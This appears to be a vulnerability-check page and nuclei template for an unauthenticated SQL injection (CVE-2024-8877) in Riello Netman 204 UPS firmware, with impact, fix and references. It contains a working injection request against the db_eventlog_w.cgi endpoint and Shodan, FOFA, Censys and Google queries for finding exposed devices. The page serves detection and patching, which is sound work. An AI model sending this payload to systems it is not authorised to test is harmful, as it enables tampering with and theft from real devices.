CVE-2024-8877· riello-ups / netman 204 firmware· CWE-89
Riello Netman 204 - SQL Injection
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.
Impact
Unauthenticated attackers can exploit SQL injection to modify collected log data, extract sensitive information, and potentially gain complete control of the Netman 204 device through multiple vulnerable CGI endpoints.
Fix
Apply security patches from Riello for Netman 204 firmware to address the SQL injection vulnerabilities in db_datalog_w.cgi, db_eventlog_w.cgi, and db_multimetr_w.cgi endpoints.
How to confirm it
Send: GET {{BaseURL}}/cgi-bin/db_eventlog_w.cgi?date_start=0&date_end=1715630160&gravity=%25&type=%25%27and/**/%271%27=%271
Positive when: contains_all(body, "START APPLICATION", "category\":", "codeStr\":") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-8877 -u <target>
The full check
id: CVE-2024-8877
info:
name: Riello Netman 204 - SQL Injection
author: s4e-io
severity: critical
description: |
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.
impact: |
Unauthenticated attackers can exploit SQL injection to modify collected log data, extract sensitive information, and potentially gain complete control of the Netman 204 device through multiple vulnerable CGI endpoints.
remediation: |
Apply security patches from Riello for Netman 204 firmware to address the SQL injection vulnerabilities in db_datalog_w.cgi, db_eventlog_w.cgi, and db_multimetr_w.cgi endpoints.
reference:
- https://cyberdanube.com/en/en-multiple-vulnerabilities-in-riello-netman-204/index.html
- https://0day.today/exploit/39757
- https://nvd.nist.gov/vuln/detail/CVE-2024-8877
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-8877
cwe-id: CWE-89
epss-score: 0.77265
epss-percentile: 0.99558
cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: riello-ups
product: netman_204_firmware
shodan-query: title:"netman 204"
fofa-query: title="netman 204"
censys-query: services.http.response.body:"netman204"
google-query: intitle:"netman 204"
tags: cve,cve2024,netman,sqli,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/db_eventlog_w.cgi?date_start=0&date_end=1715630160&gravity=%25&type=%25%27and/**/%271%27=%271"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "START APPLICATION", "category\":", "codeStr\":")'
- 'status_code == 200'
condition: andReferences
- https://cyberdanube.com/en/en-multiple-vulnerabilities-in-riello-netman-204/index.html
- https://0day.today/exploit/39757
- https://nvd.nist.gov/vuln/detail/CVE-2024-8877
Use this check only on systems you are authorised to test. Where the data comes from